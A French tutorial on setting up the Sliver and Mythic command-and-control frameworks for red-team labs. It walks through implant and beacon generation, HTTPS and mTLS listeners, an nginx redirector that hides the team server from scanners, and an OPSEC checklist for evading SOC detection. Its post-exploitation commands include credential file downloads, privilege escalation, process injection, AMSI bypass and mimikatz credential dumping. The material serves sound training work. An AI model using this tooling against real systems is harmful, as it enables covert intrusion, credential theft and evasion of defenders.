Red teaming C2 frameworks : tutoriel Sliver et Mythic 2026

Lecture : 14 minutes · Niveau : avancé · Mise à jour : avril 2026

⚠️ Disclaimer : Tout déploiement et utilisation de C2 framework décrit ici s’effectue uniquement dans un environnement de lab isolé (VM personnelles, plateformes d’entraînement type HackTheBox Pro Labs / Offensive Security PG, exercices red team mandatés avec RoE signé). L’utilisation contre un système tiers sans autorisation écrite préalable est illégale.

Tutoriel pas-à-pas pour installer et utiliser deux C2 frameworks open-source de référence : Sliver (Bishop Fox, écrit en Go, multi-plateforme) et Mythic (SpecterOps, modulaire avec UI web). Lab reproductible : un serveur C2 sur VPS isolé, un implant beacon HTTPS, un redirector Cloudfront/nginx, gestion des sessions, exécution de commandes, exfiltration simulée.

Un C2 framework (Command and Control) est l’infrastructure centrale d’une opération offensive : c’est le serveur que les implants déployés sur les machines compromises contactent pour recevoir des commandes et renvoyer des données. Pour l’opérateur red team, le C2 est l’équivalent de la console de pilotage. Pour la blue team, c’est le point névralgique à détecter dans le trafic réseau. Maîtriser un C2 ne signifie pas seulement savoir lancer une commande mais comprendre les mécanismes de détection en face et savoir les éviter.

L’écosystème des C2 a explosé ces dernières années. Au-delà de Cobalt Strike historiquement dominant et trop cher pour beaucoup d’équipes, des alternatives open-source matures comme Sliver et Mythic offrent désormais un niveau de sophistication comparable. Pour une PME ou un consultant indépendant qui veut se former et opérer en 2026, ces deux outils représentent le meilleur point d’entrée. Ce tutoriel se concentre sur l’opérationnel : installation reproductible, profils de communication réalistes, OPSEC, intégration redirector.

Voir aussi → Red teaming PME : guide complet, Red teaming Active Directory, Red teaming évasion AV/EDR.

Sommaire

1. Setup lab isolé (VM + VPS)
2. Installer Sliver
3. Générer un implant Sliver
4. Beacon HTTPS et gestion de session
5. Listener mTLS pour C2 sécurisé
6. Installer Mythic
7. Payload Apollo (Mythic)
8. Configurer un redirector nginx
9. Profil de communication custom (Sliver)
10. OPSEC checklist C2
11. FAQ

1. Setup lab isolé (VM + VPS)

Architecture du lab :

[Kali Linux VM (operator)]
       │
       ▼
[Redirector VPS (nginx/Apache)]
       │
       ▼
[Team Server VPS (Sliver/Mythic)]

[Victime VM Windows 10/11 (ou Linux)]
       │
       ▼
[ Simule trafic vers le redirector ]

Pré-requis :
– Kali Linux 2024.x à jour
– 2 VPS petite taille (1 vCPU, 2 Go RAM, 20 Go SSD) — Hetzner / Scaleway / DigitalOcean (vérifier les conditions d’usage de chaque hébergeur sur le pentesting/C2 ; certains exigent une notification)
– VM Windows 10/11 sans EDR pour les premiers tests

⚠️ Ne jamais déployer un C2 sur un VPS sans autorisation préalable de l’hébergeur pour des opérations red team. Beaucoup d’hébergeurs ferment les comptes sans préavis.

2. Installer Sliver

# Sur le team server (Ubuntu 22.04)
sudo apt update && sudo apt install -y curl mingw-w64

# Méthode officielle
curl https://sliver.sh/install | sudo bash

# Vérifier
sliver-server version
# v1.5.x

Lancer le serveur en mode multiplayer (multi-operator) :

# Mode interactif rapide (single user)
sudo sliver-server

# Mode daemon multiplayer
sudo sliver-server daemon

Connexion operator depuis Kali :

# 1. Sur le team server, créer un fichier de config operator
sudo sliver-server operator --name diallo --lhost SERVER_IP --save /tmp/diallo.cfg

# 2. Copier vers Kali (scp ou sftp)
scp ubuntu@SERVER_IP:/tmp/diallo.cfg ~/diallo.cfg

# 3. Sur Kali, importer
sudo apt install -y sliver-client
sliver-client import ~/diallo.cfg
sliver-client

Connexion établie : prompt sliver >.

3. Générer un implant Sliver

sliver > generate --http SERVER_IP --os windows --arch amd64 --save /tmp/

Sortie :

[*] Generating new windows/amd64 implant binary
[*] Build completed in 23s
[*] Implant saved to /tmp/COBALT_LIGHTNING.exe

Options utiles :
– --mtls SERVER_IP : transport mTLS (plus sûr que HTTP)
– --dns DOMAIN : DNS C2 (pour environnements très restrictifs)
– --name BEACON_NAME : forcer un nom
– --debug : logs verbeux dans l’implant
– --evasion : techniques basiques d’évasion (les vraies évasions arrivent avec le profil custom)

Beacon vs Session :
– Session : interactive, persistante, latence faible. Plus visible côté SIEM (connexions fréquentes).
– Beacon : pulse périodique (toutes les X secondes/minutes), plus furtif. Recommandé en opération.

sliver > generate beacon --http SERVER_IP --jitter 30 --interval 60 --os windows --arch amd64

--interval 60 --jitter 30 : beacon toutes les 60s ± 30s aléatoires.

4. Beacon HTTPS et gestion de session

Lancer un listener HTTPS sur le team server :

sliver > https --domain c2.exemple.com --lport 443 --persistent

Sur la VM victime, exécuter l’implant :

COBALT_LIGHTNING.exe

Sur le team server :

sliver > sessions
ID  Name             Hostname     User       Transport   Last Check-In
1   COBALT_LIGHTNING WIN10-VM     user1      https       2s

sliver > use 1
sliver (COBALT_LIGHTNING) > info

Sortie type :

        Session ID: 1
              Name: COBALT_LIGHTNING
          Hostname: WIN10-VM
              UUID: abc-123
          Username: WIN10-VM\user1
                OS: windows 10.0.19045
              Arch: amd64
        Transport: https
       Remote IP: 41.214.18.23:54321

Commandes courantes :

sliver (...) > pwd
sliver (...) > ls
sliver (...) > whoami
sliver (...) > cat C:\Users\user1\Documents\notes.txt
sliver (...) > download C:\Users\user1\creds.txt /tmp/
sliver (...) > shell    # bascule en interactif (à éviter, bruyant)
sliver (...) > execute -o cmd.exe /c "ipconfig /all"
sliver (...) > screenshot

Modules avancés :

sliver (...) > getuid
sliver (...) > getsystem        # tente escalade SYSTEM
sliver (...) > impersonate user2
sliver (...) > rev2self
sliver (...) > registry-read --hive HKLM --path "SOFTWARE\Policies"

5. Listener mTLS pour C2 sécurisé

mTLS est le canal le plus sûr (chiffrement bidirectionnel + authentification mutuelle par certificat).

sliver > mtls --lport 8443 --persistent
sliver > generate --mtls SERVER_IP:8443 --os windows --arch amd64 --save /tmp/

L’implant mTLS embarque un certificat client unique. Tout client TLS classique est rejeté → résistant aux scans externes.

Inconvénient : trafic mTLS est facilement détectable comme « non standard » par un SOC mature. Pour la furtivité maximum, préférer HTTPS standard avec profil custom mimant un trafic légitime (voir section 9).

6. Installer Mythic

Mythic = framework C2 modulaire avec UI web complète, payload « Apollo » pour Windows en C# (.NET).

# Sur le team server (Ubuntu 22.04)
sudo apt install -y docker.io docker-compose-plugin git
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo.git
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http.git
sudo ./mythic-cli start

Accéder à l’UI :
– URL : https://TEAM_SERVER_IP:7443
– User : mythic_admin / mot de passe affiché par mythic-cli

Créer un C2 profile HTTP :
– Profile : http
– Callback host : https://c2.exemple.com
– Callback port : 443
– POST URI : /api/v1/check
– Headers : User-Agent légitime (Edge sur Windows)
– Get URI : /static/img/logo.png

7. Payload Apollo (Mythic)

Générer un payload :

UI Mythic → Payloads → Generate New Payload :
– Payload type : Apollo
– C2 Profile : http
– OS : Windows
– Build options : checkbox « Use AMSI bypass » (pour test évasion basique)
– Output format : WindowsExecutable

Récupérer le binaire généré dans le menu Payloads → Download.

Sur la VM victime :

apollo.exe

Côté Mythic UI :
– Callbacks → la nouvelle session apparaît
– Cliquer dessus → console interactive avec auto-complétion

Commandes Apollo utiles :
– shell whoami /priv : commandes shell
– pwsh Get-Process : PowerShell
– download "C:\path\file.txt" : téléchargement
– mimikatz "privilege::debug" "sekurlsa::logonpasswords" : si tâche autorisée
– inject 1234 : injection process ID 1234
– execute_pe.exe payload.exe : exécution PE en mémoire

8. Configurer un redirector nginx

Un redirector masque l’IP du team server. L’implant communique avec le redirector qui forward vers le team server.

/etc/nginx/sites-enabled/c2-redirector :

server {
    listen 443 ssl http2;
    server_name c2.exemple.com;

    ssl_certificate     /etc/letsencrypt/live/c2.exemple.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.exemple.com/privkey.pem;

    # Filtrer par User-Agent attendu (configuré côté implant)
    if ($http_user_agent !~ "^Mozilla/5.0.*Edge.*") {
        return 404;
    }

    # Forward vers team server uniquement les chemins C2
    location ~ ^/(api/v1/check|static/img/logo\.png) {
        proxy_pass https://10.0.0.5:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_ssl_verify off;
    }

    # Tout le reste → site légitime (decoy)
    location / {
        proxy_pass https://www.example.com;
    }
}

Avantages :
– IP du team server jamais exposée
– Tout scan externe voit un site web banal
– Filtrage User-Agent bloque les scanners et chercheurs
– Domaine fronting possible avec Cloudflare/Cloudfront

sudo certbot --nginx -d c2.exemple.com
sudo nginx -t && sudo systemctl reload nginx

9. Profil de communication custom (Sliver)

Sliver supporte des profiles HTTP qui imitent un trafic légitime :

sliver > profiles new --name webfront --http "POST /wp-admin/admin-ajax.php"
sliver > generate --profile webfront --save /tmp/

Profile YAML détaillé (Sliver supporte aussi format JSON via implant.json) :

{
  "name": "webfront",
  "implantConfig": {
    "c2": [{
      "url": "https://c2.exemple.com/wp-admin/admin-ajax.php",
      "options": "useragent=Mozilla/5.0 (Windows NT 10.0) Edge/120"
    }],
    "reconnectInterval": 60,
    "maxConnectionErrors": 1000
  }
}

Recommandations OPSEC profil custom :
– User-Agent cohérent avec l’OS de l’implant (Edge sur Windows, pas Chrome 50)
– Headers complets (Accept-Language, Cache-Control)
– URLs réalistes selon le faux service mimé (WordPress, SharePoint, etc.)
– Jitter important sur les beacons (pas exactement toutes les 60s)
– Heures de check-in cohérentes avec heures ouvrées de la cible

10. OPSEC checklist C2

[ ] Team server isolé (VPS dédié, pas mutualisé avec autre opération)
[ ] Domaine d'âge >6 mois (acheter en avance, "warm-up")
[ ] Catégorisation domaine vérifiée (pas "uncategorized" - blocked par proxies)
[ ] Certificat SSL Let's Encrypt valide
[ ] Redirector entre opérateur et team server
[ ] Profile C2 custom mimant trafic légitime
[ ] Beacon avec jitter > 30%
[ ] Heures de check-in alignées heures ouvrées cible
[ ] Implants nommés sans signature équipe
[ ] Logs team server protégés et chiffrés
[ ] Cleanup checklist préparé avant début opération
[ ] Procédure d'urgence (kill switch C2)
[ ] Backup config team server (pour reprise rapide)
[ ] Pas de credentials réels en clair sur team server

FAQ

Sliver vs Cobalt Strike vs Mythic ?

Cobalt Strike est la référence commerciale (~$5500/an), très utilisé en red team pro. Sliver = alternative open-source mature, multi-plateforme, légère. Mythic = open-source modulaire avec UI riche, communauté active. Pour démarrer en lab : Sliver. Pour opération complexe multi-payload : Mythic. Pour client exigeant standard industrie : Cobalt Strike.

Mon antivirus détecte l’implant Sliver. Normal ?

Oui. Les implants par défaut sont détectés par la plupart des AV/EDR. Pour évasion : voir red teaming évasion AV/EDR — packers custom, syscall direct, AMSI bypass, etc.

Le team server peut-il être détecté par les blue teams ?

Oui via : reverse DNS, certificats SSL (Censys, Shodan), patterns JA3/JA3S TLS, signatures connues Sliver/Mythic dans la pile. Atténuations : domaine fronting, redirector, profile custom, certificats achetés (DV) plutôt que Let’s Encrypt.

Combien de temps survit un C2 en production ?

Variable. Avec OPSEC strict et SOC immature : plusieurs semaines. Avec SOC mature et threat hunting actif : quelques heures à jours. La rotation d’infrastructure (changement de domaine/IP) est nécessaire pour les opérations longues.

Comment apprendre les C2 frameworks de manière légale ?

Plateformes : HackTheBox Pro Labs (Dante, Offshore, RastaLabs – ont des éléments AD avec C2), Offensive Security PG Practice, TryHackMe Red Team paths. Certifications : CRTO (Cobalt Strike), OSEP (custom payloads), CRTL (Sliver). Investir dans un lab personnel sur Hetzner / Proxmox.

Peut-on intégrer un C2 dans un pipeline DevOps légitime (BAS) ?

Oui — c’est le concept de Breach and Attack Simulation (BAS). Outils : Cymulate, AttackIQ, MITRE Caldera (open-source). Différent du red team réel mais complémentaire pour tester en continu les détections. Voir DevOps moderne CI/CD IaC pour intégrer dans la CI.

Les frameworks open-source sont-ils suffisants pour une opération sérieuse ?

Sliver et Mythic sont matures et utilisés en mission réelle par de nombreux red teams. La sophistication dépend plus de l’opérateur que de l’outil. Cobalt Strike conserve un avantage en tooling commercial intégré (BOFs, Aggressor scripts) et reconnaissance industrie.

Comment journaliser proprement une opération C2 ?

Activer logs server : sliver-server > monitor ou Mythic logs DB. Exporter en chiffré chaque jour. Garder une timeline horodatée des actions opérateur (extension OBS recommandée). Tout artefact mappé à une technique MITRE ATT&CK pour le rapport final.

Articles liés (cluster Red Teaming)

• 👉 Red teaming PME : guide complet
• 👉 Red teaming Active Directory : attaques et défenses
• 👉 Red teaming évasion AV/EDR

Voir aussi : Pentesting éthique pour PME, Outils essentiels du pentesting.

Article mis à jour le 25 avril 2026. Pour signaler une erreur ou suggérer une amélioration, écrivez-nous.